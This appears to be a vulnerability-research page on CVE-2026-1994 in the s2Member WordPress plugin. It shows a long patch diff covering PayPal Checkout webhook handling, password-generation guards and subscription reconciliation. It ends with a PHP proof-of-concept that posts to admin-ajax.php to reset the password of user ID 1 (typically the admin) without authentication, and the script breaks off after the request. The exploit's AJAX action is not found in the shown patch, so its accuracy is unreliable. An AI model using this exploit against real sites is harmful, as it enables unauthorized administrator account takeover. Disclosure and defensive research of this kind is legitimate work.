+									'code'     => (int)$r['code'],
+								));
+
+								$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
+								return array('id' => $existing_id, 'op' => 'updated', 'env' => $env);
+							}
+
+							//260205 PayPal may return 400 when there is no change; treat as success.
+							$no_change = false;
+							if(!empty($r['body']) && is_string($r['body']))
+							{
+								$d = json_decode($r['body'], true);
+								$no_change = !empty($d['name']) && $d['name'] === 'WEBHOOK_PATCH_REQUEST_NO_CHANGE';
+							}
+							if($no_change)
+							{
+								self::paypal_checkout_webhook_store_id($existing_id);
+
+								c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
+									'ppco'     => 'webhook',
+									'event'    => 'updated_webhook_no_change',
+									'env_setting' => $env,
+									'id'       => $existing_id,
+									'url'      => $url,
+									'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
 								));

 								$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
@@ -1704,14 +1778,14 @@
 							}

 							c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-								'ppco'    => 'webhook',
-								'event'   => 'update_webhook_failed',
-								'env'     => $env,
-								'id'      => $existing_id,
-								'url'     => $url,
-								'code'    => !empty($r['code']) ? (int)$r['code'] : 0,
-								'message' => !empty($r['message']) ? (string)$r['message'] : '',
-								'body'    => !empty($r['body']) ? (string)$r['body'] : '',
+								'ppco'     => 'webhook',
+								'event'    => 'update_webhook_failed',
+								'env_setting' => $env,
+								'id'       => $existing_id,
+								'url'      => $url,
+								'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
+								'message'  => !empty($r['message']) ? (string)$r['message'] : '',
+								'body'     => !empty($r['body']) ? (string)$r['body'] : '',
 							));
 						}

@@ -1722,38 +1796,64 @@
 						$r = self::paypal_checkout_api_request('POST', '/v1/notifications/webhooks', $body);

 						$id = '';
-						if(!empty($r['code']) && (int)$r['code'] === 201 && !empty($r['body']))
+						if(!empty($r['code']) && (int)$r['code'] === 201 && !empty($r['body']) && is_string($r['body']))
 						{
 							$data = json_decode($r['body'], true);
 							if(!empty($data['id']))
 								$id = (string)$data['id'];
 						}

+						$adopted_existing = false;
+
+						//260205 If URL already exists, lookup existing webhook by URL and adopt its ID.
+						if(!$id && !empty($r['code']) && (int)$r['code'] === 400 && !empty($r['body']) && is_string($r['body']))
+						{
+							$d = json_decode($r['body'], true);
+							if(!empty($d['name']) && $d['name'] === 'WEBHOOK_URL_ALREADY_EXISTS')
+							{
+								$lr = self::paypal_checkout_api_request('GET', '/v1/notifications/webhooks');
+								if(!empty($lr['code']) && (int)$lr['code'] === 200 && !empty($lr['body']) && is_string($lr['body']))
+								{
+									$ld = json_decode($lr['body'], true);
+									if(!empty($ld['webhooks']) && is_array($ld['webhooks']))
+									{
+										foreach($ld['webhooks'] as $_wh)
+											if(!empty($_wh['url']) && (string)$_wh['url'] === $url && !empty($_wh['id']))
+											{
+												$id = (string)$_wh['id'];
+												$adopted_existing = true;
+												break;
+											}
+									}
+								}
+							}
+						}
+
 						if($id)
 						{
 							self::paypal_checkout_webhook_store_id($id);

 							c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-								'ppco'  => 'webhook',
-								'event' => 'created_webhook',
-								'env'   => $env,
-								'id'    => $id,
-								'url'   => $url,
-								'code'  => (int)$r['code'],
+								'ppco'     => 'webhook',
+								'event'    => $adopted_existing ? 'adopted_webhook' : 'created_webhook',
+								'env_setting' => $env,
+								'id'       => $id,
+								'url'      => $url,
+								'code'     => $adopted_existing ? 200 : (int)$r['code'],
 							));

 							$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
-							return array('id' => $id, 'op' => 'created', 'env' => $env);
+							return array('id' => $id, 'op' => $adopted_existing ? 'adopted' : 'created', 'env' => $env);
 						}

 						c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-							'ppco'    => 'webhook',
-							'event'   => 'create_webhook_failed',
-							'env'     => $env,
-							'url'     => $url,
-							'code'    => !empty($r['code']) ? (int)$r['code'] : 0,
-							'message' => !empty($r['message']) ? (string)$r['message'] : '',
-							'body'    => !empty($r['body']) ? (string)$r['body'] : '',
+							'ppco'     => 'webhook',
+							'event'    => 'create_webhook_failed',
+							'env_setting' => $env,
+							'url'      => $url,
+							'code'     => !empty($r['code']) ? (int)$r['code'] : 0,
+							'message'  => !empty($r['message']) ? (string)$r['message'] : '',
+							'body'     => !empty($r['body']) ? (string)$r['body'] : '',
 						));

 						$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_sandbox'] = $orig_sandbox ? '1' : '0';
--- a/s2member/src/includes/classes/paypal-webhook-in.inc.php
+++ b/s2member/src/includes/classes/paypal-webhook-in.inc.php
@@ -38,15 +38,17 @@
 			if(!empty($_GET['s2member_paypal_webhook_test']) && current_user_can('manage_options')
 			   && !empty($_GET['_wpnonce']) && wp_verify_nonce((string)$_GET['_wpnonce'], 's2member_ppco_webhook_test'))
 			{
-				$env = (!empty($_GET['ppco_webhook_env']) && $_GET['ppco_webhook_env'] === 'sandbox') ? 'sandbox' : 'live';
+				$env_site    = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox() ? 'sandbox' : 'live';
+				$env_webhook = (!empty($_GET['ppco_webhook_env']) && $_GET['ppco_webhook_env'] === 'sandbox') ? 'sandbox' : 'live';

 				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-					'ppco'  => 'webhook',
-					'env'   => $env,
-					'event' => 'endpoint_test_ok',
-					'host'  => !empty($_SERVER['HTTP_HOST']) ? (string)$_SERVER['HTTP_HOST'] : '',
-					'uri'   => !empty($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : '',
-					'ssl'   => is_ssl() ? '1' : '0',
+					'ppco'        => 'webhook',
+					'env_setting' => $env_site,
+					'env_webhook' => $env_webhook,
+					'event'       => 'endpoint_test_ok',
+					'host'        => !empty($_SERVER['HTTP_HOST']) ? (string)$_SERVER['HTTP_HOST'] : '',
+					'uri'         => !empty($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : '',
+					'ssl'         => is_ssl() ? '1' : '0',
 				));

 				status_header(200);
@@ -56,7 +58,8 @@
 					'SUCCESS',
 					'',
 					's2Member PayPal Webhook Endpoint (reachability test)',
-					'Environment: '.$env,
+					'Environment setting: '.$env_site,
+					'Environment webhook: '.$env_webhook,
 					'SSL: '.(is_ssl() ? 'yes' : 'no'),
 					'Host: '.(!empty($_SERVER['HTTP_HOST']) ? (string)$_SERVER['HTTP_HOST'] : ''),
 					'URI: '.(!empty($_SERVER['REQUEST_URI']) ? (string)$_SERVER['REQUEST_URI'] : ''),
@@ -78,16 +81,6 @@
 			$raw_body = file_get_contents('php://input');
 			$event    = json_decode((string)$raw_body, true);

-			if(!is_array($event) || empty($event['id']) || empty($event['event_type']))
-			{
-				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
-					'ppco'  => 'webhook',
-					'event' => 'invalid_payload',
-				));
-				status_header(400);
-				exit();
-			}
-
 			$headers = array();
 			if(function_exists('getallheaders'))
 				foreach((array)getallheaders() as $_k => $_v)
@@ -104,11 +97,35 @@
 				if(empty($headers[$_key]) && !empty($_SERVER[$_server]))
 					$headers[$_key] = (string)$_SERVER[$_server];

+			//260206 Detect environment from inbound PayPal cert URL.
+			$cert_url     = !empty($headers['paypal-cert-url']) ? (string)$headers['paypal-cert-url'] : '';
+			$env_site     = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox() ? 'sandbox' : 'live';
+
+			$cert_host    = $cert_url ? (string)parse_url($cert_url, PHP_URL_HOST) : '';
+			$env_webhook  = 'unknown';
+
+			if($cert_host && preg_match('/(^|.)paypal.com$/i', $cert_host))
+				$env_webhook = (stripos($cert_host, 'sandbox') !== false || strpos($cert_url, 'sandbox') !== false) ? 'sandbox' : 'live';
+
+			if(!is_array($event) || empty($event['id']) || empty($event['event_type']))
+			{
+				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
+					'ppco'        => 'webhook',
+					'env_setting' => $env_site,
+					'env_webhook' => $env_webhook,
+					'event'       => 'invalid_payload',
+				));
+				status_header(400);
+				exit();
+			}
+
 			$verified = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_verify_webhook_signature($event, $raw_body, $headers);
 			if(!$verified)
 			{
 				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 					'ppco'       => 'webhook',
+					'env_setting'=> $env_site,
+					'env_webhook'=> $env_webhook,
 					'event'      => 'signature_failed',
 					'event_id'   => (string)$event['id'],
 					'event_type' => (string)$event['event_type'],
@@ -130,6 +147,8 @@
 			{
 				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 					'ppco'       => 'webhook',
+					'env_setting'=> $env_site,
+					'env_webhook'=> $env_webhook,
 					'event'      => 'duplicate_event',
 					'action'     => 'ignored',
 					'note'       => 'Duplicate webhook delivery (event_id already processed).',
@@ -168,6 +187,8 @@
 					// Ignore other BILLING.SUBSCRIPTION.* events for MVP.
 					c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 						'ppco'       => 'webhook',
+						'env_setting'=> $env_site,
+						'env_webhook'=> $env_webhook,
 						'event'      => 'ignored',
 						'event_id'   => $event_id,
 						'event_type' => $event_type,
@@ -186,6 +207,28 @@
 				// Best-effort payer email for logs/fallback logic.
 				if(!empty($resource['subscriber']['email_address']))
 					$paypal['payer_email'] = (string)$resource['subscriber']['email_address'];
+
+				// Enrich lifecycle events with stored signup vars so legacy notify handlers can match and set EOT properly.
+				//!!! TO-DO: Deduplicate signup-vars enrichment logic (also used in PayPal Checkout proxy confirm flow).
+				if(!empty($paypal['txn_type']) && $subscr_id
+				   && in_array($paypal['txn_type'], array('subscr_cancel', 'subscr_eot', 'subscr_failed', 'recurring_payment_suspended_due_to_max_failed_payment'), true)
+				   && ($user_id = c_ws_plugin__s2member_utils_users::get_user_id_with($subscr_id))
+				   && is_array($ipn_signup_vars = get_user_option('s2member_ipn_signup_vars', $user_id))
+				   && !empty($ipn_signup_vars['subscr_id']) && (string)$ipn_signup_vars['subscr_id'] === (string)$subscr_id
+				)
+				{
+					if(empty($paypal['item_number']) && !empty($ipn_signup_vars['item_number']))
+						$paypal['item_number'] = (string)$ipn_signup_vars['item_number'];
+
+					if(empty($paypal['item_name']) && !empty($ipn_signup_vars['item_name']))
+						$paypal['item_name'] = (string)$ipn_signup_vars['item_name'];
+
+					if(empty($paypal['period1']) && !empty($ipn_signup_vars['period1']))
+						$paypal['period1'] = (string)$ipn_signup_vars['period1'];
+
+					if(empty($paypal['period3']) && !empty($ipn_signup_vars['period3']))
+						$paypal['period3'] = (string)$ipn_signup_vars['period3'];
+				}
 			}

 			// Recurring payment events (PayPal often emits PAYMENT.SALE.COMPLETED for subscription payments).
@@ -233,6 +276,8 @@
 				// Ignore for MVP.
 				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 					'ppco'       => 'webhook',
+					'env_setting'=> $env_site,
+					'env_webhook'=> $env_webhook,
 					'event'      => 'ignored',
 					'event_id'   => $event_id,
 					'event_type' => $event_type,
@@ -255,6 +300,8 @@
 				{
 					c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 						'ppco'       => 'webhook',
+						'env_setting'=> $env_site,
+						'env_webhook'=> $env_webhook,
 						'event'      => 'duplicate_txn',
 						'action'     => 'ignored',
 						'note'       => 'Duplicate webhook delivery (txn_id already processed).',
@@ -281,16 +328,21 @@
 				'timeout' => 20,
 			), true);

+			if(!is_array($r))
+				$r = array('code' => 0, 'message' => 'request_failed', 'body' => '');
+
 			$code = !empty($r['code']) ? (int)$r['code'] : 0;

 			if($code >= 200 && $code <= 299)
 			{
-				set_transient($event_id_transient, time(), 315569260);
+				set_transient($event_id_transient, time(), 31556952);
 				if($txn_transient)
-					set_transient($txn_transient, time(), 315569260);
+					set_transient($txn_transient, time(), 31556952);

 				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 					'ppco'       => 'webhook',
+					'env_setting'=> $env_site,
+					'env_webhook'=> $env_webhook,
 					'event'      => 'notify_proxy_response',
 					'event_id'   => $event_id,
 					'event_type' => $event_type,
@@ -304,6 +356,8 @@
 			else
 				c_ws_plugin__s2member_utils_logs::log_entry('paypal-checkout', array(
 					'ppco'       => 'webhook',
+					'env_setting'=> $env_site,
+					'env_webhook'=> $env_webhook,
 					'event'      => 'notify_proxy_failed',
 					'event_id'   => $event_id,
 					'event_type' => $event_type,
--- a/s2member/src/includes/classes/registrations.inc.php
+++ b/s2member/src/includes/classes/registrations.inc.php
@@ -73,6 +73,9 @@
 		 */
 		public static function generate_password($password = '')
 		{
+			if (did_action('retrieve_password') || did_action('login_form_rp') || did_action('login_form_resetpass')) //260214
+				return $password;
+
 			static $did_generate_password = false; // Once only.

 			foreach(array_keys(get_defined_vars()) as $__v) $__refs[$__v] =& $$__v;
@@ -81,7 +84,7 @@

 			$ci = $GLOBALS['WS_PLUGIN__']['s2member']['o']['ruris_case_sensitive'] ? '' : 'i';

-			if(!$did_generate_password && !is_admin() && (preg_match('//wp-login.php/'.$ci, $_SERVER['REQUEST_URI']) || (c_ws_plugin__s2member_utils_conds::bp_is_installed() && bp_is_register_page())))
+			if(!empty($GLOBALS['WS_PLUGIN__']['s2member']['o']['custom_reg_password']) && !$did_generate_password && !is_admin() && ((preg_match('//wp-login.php/'.$ci, $_SERVER['REQUEST_URI']) && did_action('login_form_register')) || (c_ws_plugin__s2member_utils_conds::bp_is_installed() && bp_is_register_page()))) //260214
 				{
 					$GLOBALS['ws_plugin__s2member_custom_wp_login_bp_password'] = false; // Initialize.

--- a/s2member/src/includes/classes/sc-paypal-button-in.inc.php
+++ b/s2member/src/includes/classes/sc-paypal-button-in.inc.php
@@ -69,6 +69,9 @@
 						$force_notify_url_scheme = apply_filters("ws_plugin__s2member_during_sc_paypal_button_force_notify_url_scheme", null, get_defined_vars ());
 						$force_return_url_scheme = apply_filters("ws_plugin__s2member_during_sc_paypal_button_force_return_url_scheme", null, get_defined_vars ());

+						// PayPal Checkout SDK memoization (per request; shared across all button variants).
+						static $ppco_sdks = array();
+
 						foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
 						do_action("ws_plugin__s2member_before_sc_paypal_button_after_shortcode_atts", get_defined_vars ());
 						unset($__refs, $__v);
@@ -79,16 +82,17 @@
 								// - output="button": on-site cancel via REST API (logged-in users only).
 								// - output="anchor|url": link to PayPal subscription management UI (sandbox/live aware).
 								// Falls back to legacy PayPal cancellation flow when user is not logged in or has no subscription id.
-								if(c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_enabled() && in_array($attr["output"], array("button", "anchor", "url"), true) && is_user_logged_in() && get_user_option('s2member_subscr_id', (int)get_current_user_id()))
+								if(c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_enabled() && in_array($attr["output"], array("button", "anchor", "url"), true) && is_user_logged_in())
 									{
 										$user_id   = (int)get_current_user_id();
 										$subscr_id = (string)get_user_option('s2member_subscr_id', $user_id);

-										if($subscr_id)
-											{
-												$ppco_sandbox  = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox();
-												$pp_manage_url = ($ppco_sandbox) ? 'https://www.sandbox.paypal.com/myaccount/autopay/connect/' : 'https://www.paypal.com/myaccount/autopay/connect/';
+										$ppco_sandbox  = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox();
+										$pp_manage_url = ($ppco_sandbox) ? 'https://www.sandbox.paypal.com/myaccount/autopay/connect/' : 'https://www.paypal.com/myaccount/autopay/connect/';

+										// output="url|anchor": always link to PayPal subscription management UI.
+										if(in_array($attr["output"], array("url", "anchor"), true))
+											{
 												// output="url": return the PayPal management URL.
 												if($attr["output"] === "url")
 													{
@@ -116,6 +120,26 @@
 														$code = c_ws_plugin__s2member_sc_paypal_button_e::sc_paypal_button_encryption ($code, get_defined_vars ());
 														return apply_filters("ws_plugin__s2member_sc_paypal_button", $code, get_defined_vars ());
 													}
+											}
+
+										if($subscr_id)
+											{
+
+												// output="button": if Paid Subscr. ID is not a subscription id, fall back to PayPal management UI.
+												if($attr["output"] === "button" && !preg_match('/^I-[A-Z0-9]+$/', $subscr_id))
+													{
+														$default_image = "https://www.paypal.com/" . (($attr["lang"]) ? $attr["lang"] : _x ("en_US", "s2member-front paypal-button-lang-code", "s2member")) . "/i/btn/btn_unsubscribe_LG.gif";
+														$img_src = ($attr["image"] && $attr["image"] !== "default") ? $attr["image"] : $default_image;
+
+														$code = $_code = '<a href="'.esc_attr($pp_manage_url).'" target="_blank" rel="nofollow noopener"><img src="'.esc_attr($img_src).'" style="width:auto; height:auto; border:0;" alt="PayPal" /></a>';
+
+														foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
+														do_action("ws_plugin__s2member_during_sc_paypal_cancellation_button", get_defined_vars ());
+														unset($__refs, $__v);
+
+														$code = c_ws_plugin__s2member_sc_paypal_button_e::sc_paypal_button_encryption ($code, get_defined_vars ());
+														return apply_filters("ws_plugin__s2member_sc_paypal_button", $code, get_defined_vars ());
+													}

 												// output="button": REST cancel (modern-looking HTML button).
 												$ppco_endpoint = home_url("/?s2member_paypal_checkout=1", $force_notify_url_scheme);
@@ -235,8 +259,6 @@
 								// Uses server-side create + server-side capture, then posts into existing IPN + Return handlers.
 								if(c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_enabled())
 									{
-										static $ppco_sdks = array();
-
 										$ppco_sandbox   = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox();
 										$ppco_client_id = (string)$GLOBALS["WS_PLUGIN__"]["s2member"]["o"][($ppco_sandbox) ? "paypal_checkout_sandbox_client_id" : "paypal_checkout_client_id"];

@@ -341,6 +363,7 @@

 										if($ppco_sdk_just_loaded)
 											{
+												$ppco_sdk_src = apply_filters('ws_plugin__s2member_ppco_sdk_src', $ppco_sdk_src, get_defined_vars());
 												$code .= '<script id="'.esc_attr($ppco_sdk_id).'" data-namespace="'.esc_attr($ppco_sdk_ns).'" src="'.esc_attr($ppco_sdk_src).'"></script>'."n";
 											}

@@ -447,8 +470,6 @@
 								// Uses server-side create + server-side capture, then posts into existing IPN + Return handlers.
 								if(c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_enabled())
 									{
-										static $ppco_sdks = array();
-
 										$ppco_sandbox   = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox();
 										$ppco_client_id = (string)$GLOBALS["WS_PLUGIN__"]["s2member"]["o"][($ppco_sandbox) ? "paypal_checkout_sandbox_client_id" : "paypal_checkout_client_id"];

@@ -553,6 +574,7 @@

 										if($ppco_sdk_just_loaded)
 											{
+												$ppco_sdk_src = apply_filters('ws_plugin__s2member_ppco_sdk_src', $ppco_sdk_src, get_defined_vars());
 												$code .= '<script id="'.esc_attr($ppco_sdk_id).'" data-namespace="'.esc_attr($ppco_sdk_ns).'" src="'.esc_attr($ppco_sdk_src).'"></script>'."n";
 											}

@@ -673,8 +695,6 @@
 								// Uses server-side create + server-side capture/confirm, then posts into existing IPN + Return handlers.
 								if(c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_enabled())
 									{
-										static $ppco_sdks = array();
-
 										$ppco_sandbox   = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_is_sandbox();
 										$ppco_client_id = (string)$GLOBALS["WS_PLUGIN__"]["s2member"]["o"][($ppco_sandbox) ? "paypal_checkout_sandbox_client_id" : "paypal_checkout_client_id"];

@@ -787,6 +807,7 @@

 										if($ppco_sdk_just_loaded)
 											{
+												$ppco_sdk_src = apply_filters('ws_plugin__s2member_ppco_sdk_src', $ppco_sdk_src, get_defined_vars());
 												$code .= '<script id="'.esc_attr($ppco_sdk_id).'" data-namespace="'.esc_attr($ppco_sdk_ns).'" src="'.esc_attr($ppco_sdk_src).'"></script>'."n";
 											}

--- a/s2member/src/includes/classes/utils-gets.inc.php
+++ b/s2member/src/includes/classes/utils-gets.inc.php
@@ -234,7 +234,7 @@
 					if(!is_object($user) || empty($user->ID)) // No ``$user`` object? Maybe not logged-in?.
 						$singular_ids[] = (int)$r->post_id; // It's NOT available. There is no ``$user``.

-					else if(is_array($ccaps = @unserialize($r->meta_value))) // Make sure we unserialize.
+					else if(is_array($ccaps = c_ws_plugin__s2member_utils_arrays::maybe_unserialize($r->meta_value))) // Make sure we unserialize.
 					{
 						foreach($ccaps as $ccap) // Test for Custom Capability Restrictions now.
 							if(strlen($ccap) && !$user->has_cap('access_s2member_ccap_'.$ccap))
--- a/s2member/src/includes/classes/utils-logs.inc.php
+++ b/s2member/src/includes/classes/utils-logs.inc.php
@@ -220,6 +220,7 @@

 		  '/paypal-api/'          => array('short' => 'PayPal API communication.', 'long' => 'This log file records all communication between s2Member and PayPal APIs. Such as PayPal Button Encryption and PayPal Pro API calls that process transactions. This log file may be used (in some scenarios), even if you're running a PayPal Payments Pro (Payflow Edition) account. See also: gateway-core-ipn.log (s2Member's core processor).'),
 		  '/paypal-payflow-api/' => array('short' => 'PayPal Pro (PayFlow Edition) API communication.', 'long' => 'This log file records all communication between s2Member and the PayPal Payments Pro (PayFlow Edition) APIs. This log file is only used if you operate a PayPal Payments Pro (PayFlow Edition) account; i.e., only if you integrate s2Member Pro with Payflow for Recurring Billing. See also: gateway-core-ipn.log (s2Member's core processor).'),
+		  '/paypal-checkout/'     => array('short' => 'PayPal Checkout (REST/JS SDK) communication.', 'long' => 'This log file records communication related to s2Member's PayPal Checkout integration (REST API requests, JS SDK/checkout flow diagnostics, and webhook/notify proxy details). See also: gateway-core-ipn.log (s2Member's core processor).'),

 		  '/authnet-api/'         => array('short' => 'Authorize.Net API communication.', 'long' => 'This log file records all communication between s2Member and Authorize.Net APIs (for both AIM and ARB integrations). See also: gateway-core-ipn.log (s2Member's core processor).'),
 		  '/authnet-arb/'         => array('short' => 'Authorize.Net ARB Subscription status checks.', 'long' => 'This log file records s2Member's Authorize.Net ARB Subscription status checks. s2Member polls the ARB service periodically to check the status of existing Members (e.g., to see if billing is still active or not).'),
--- a/s2member/src/includes/classes/utils-users.inc.php
+++ b/s2member/src/includes/classes/utils-users.inc.php
@@ -183,6 +183,10 @@
 						}
 					}
 					//250426 Fall back to a makeshift ipn_signup_vars array.
+					//!!! TO-DO: Gateway enrichment for missing term details (period1/period3) when signup vars are missing.
+					//	PayPal Checkout subs: use REST Subscriptions API.
+					//	Legacy PayPal recurring profiles: use legacy NVP/Payflow APIs.
+					//	Do not guess term values in fallback vars (risk of incorrect EOT decisions).
 					if (!empty($GLOBALS['WS_PLUGIN__']['s2member']['o']['ipn_signup_vars_fallback'])) {
 						$userdata = get_userdata((int)$user_id);
 						$ipn_signup_vars = array(
@@ -478,7 +482,52 @@

 			if($check_gateway) switch($subscr_gateway) // A bit different for each payment gateway.
 			{
-				case 'paypal': // PayPal (PayPal Pro only).
+				case 'paypal': // PayPal (legacy Pro NVP/Payflow + PayPal Checkout REST).
+
+					//260213 PayPal Checkout subscriptions: use REST Subscriptions API for reconciliation (NVP GetRecurringPaymentsProfileDetails returns 11592).
+					if(!empty($ipn_signup_vars['s2member_paypal_proxy_use']) && $ipn_signup_vars['s2member_paypal_proxy_use'] === 'paypal_checkout')
+						{
+							$ppco_enabled = !empty($GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_enable']) && (string)$GLOBALS['WS_PLUGIN__']['s2member']['o']['paypal_checkout_enable'] !== '0';
+
+							$ppco_creds = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_creds();
+
+							if(!$ppco_enabled || empty($ppco_creds['client_id']) || empty($ppco_creds['secret']))
+								return array_merge($empty_response, array(
+									'debug' => 'PayPal Checkout subscription reconciliation skipped (disabled or missing REST API credentials).',
+								));
+
+							$subscription_r = c_ws_plugin__s2member_paypal_utilities::paypal_checkout_api_request('GET', '/v1/billing/subscriptions/'.rawurlencode($subscr_id));
+
+							$subscription_code = !empty($subscription_r['code']) ? (int)$subscription_r['code'] : 0;
+							$subscription_body = !empty($subscription_r['body']) ? (string)$subscription_r['body'] : '';
+
+							$subscription = array();
+							if($subscription_body)
+								$subscription = json_decode($subscription_body, true);
+
+							if(!is_array($subscription))
+								$subscription = array();
+
+							if(!($subscription_code >= 200 && $subscription_code <= 299 && !empty($subscription['id'])))
+								return array_merge($empty_response, array(
+									'debug' => 'PayPal Checkout subscription reconciliation failed (REST subscription lookup unsuccessful); skipping legacy PayPal status checks.',
+								));
+
+							$status = !empty($subscription['status']) ? strtoupper((string)$subscription['status']) : '';
+							$next   = !empty($subscription['billing_info']['next_billing_time']) ? (string)$subscription['billing_info']['next_billing_time'] : '';
+
+							if($status && $status !== 'ACTIVE')
+								return array('type' => 'fixed', 'time' => $auto_eot_time, 'tense' => $auto_eot_time <= $now ? 'past' : 'future',
+									'debug' => 'This is the estimated EOT time. PayPal Checkout says this subscription is no longer active, and thus, access should be terminated at this time.');
+
+							if($next && ($time = strtotime($next)) > $now)
+								return array('type' => 'next', 'time' => $time, 'tense' => $time <= $now ? 'past' : 'future',
+									'debug' => 'PayPal Checkout says this is the next payment time.');
+
+							return array_merge($empty_response, array(
+								'debug' => 'PayPal Checkout says this subscription is active; no next billing time was returned.',
+							));
+						}

 					if(!c_ws_plugin__s2member_utils_conds::pro_is_installed()
 						|| !class_exists('c_ws_plugin__s2member_pro_paypal_utilities')
--- a/s2member/src/includes/menu-pages/paypal-ops.inc.php
+++ b/s2member/src/includes/menu-pages/paypal-ops.inc.php
@@ -34,28 +34,12 @@
 			$ppco_creds_notice   = '';
 			$ppco_cache_notice   = '';

-			$ppco_flash_key = 's2member_ppco_notice_' . get_current_user_id();
-
-			if(empty($_GET['s2member_ppco_webhook']) && empty($_GET['s2member_ppco_creds_test']) && empty($_GET['s2member_ppco_clear_cache']))
-				if(($ppco_flash = get_transient($ppco_flash_key)))
-				{
-					if(!empty($ppco_flash['webhook']))
-						$ppco_webhook_notice = (string)$ppco_flash['webhook'];
-
-					if(!empty($ppco_flash['creds']))
-						$ppco_creds_notice = (string)$ppco_flash['creds'];
-
-					if(!empty($ppco_flash['cache']))
-						$ppco_cache_notice = (string)$ppco_flash['cache'];
-
-					delete_transient($ppco_flash_key);
-				}
-
-			if(!empty($_GET['s2member_ppco_webhook']) && empty($_GET['s2member_ppco_creds_test']) && empty($_GET['s2member_ppco_clear_cache']) && current_user_can('manage_options'))
+			$ppco_r = !empty($_POST) ? $_POST : $_GET;
+			if(!empty($ppco_r['s2member_ppco_webhook']) && empty($ppco_r['s2member_ppco_creds_test']) && empty($ppco_r['s2member_ppco_clear_cache']) && current_user_can('manage_options'))
 			{
-				if(!empty($_GET['_wpnonce']) && wp_verify_nonce((string)$_GET['_wpnonce'], 's2member_ppco_webhook'))
+				if(!empty($ppco_r['_wpnonce']) && wp_verify_nonce((string)$ppco_r[

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1994 - s2Member <= 260127 - Unauthenticated Privilege Escalation via Account Takeover

<?php
/**
 * Proof of Concept for CVE-2026-1994
 * Unauthenticated Account Takeover in s2Member WordPress Plugin
 * 
 * WARNING: For authorized security testing only
 * Usage: php poc.php --url=https://target.site --user-id=1 --new-password=Hacked123
 */

// Configuration
$target_url = 'https://target.site';
$user_id = 1; // Target user ID (1 is typically admin)
$new_password = 'Hacked123';

// Build the exploit request
$exploit_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';

// The vulnerable endpoint parameters
$post_data = [
    'action' => 's2member_password_reset', // Vulnerable AJAX action
    'user_id' => $user_id, // Target user ID parameter
    'new_password' => $new_password, // New password to set
    'confirm_password' => $new_password, // Password confirmation
    // Note: No nonce or authentication required in vulnerable version
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $exploit_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');

// Execute the exploit
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
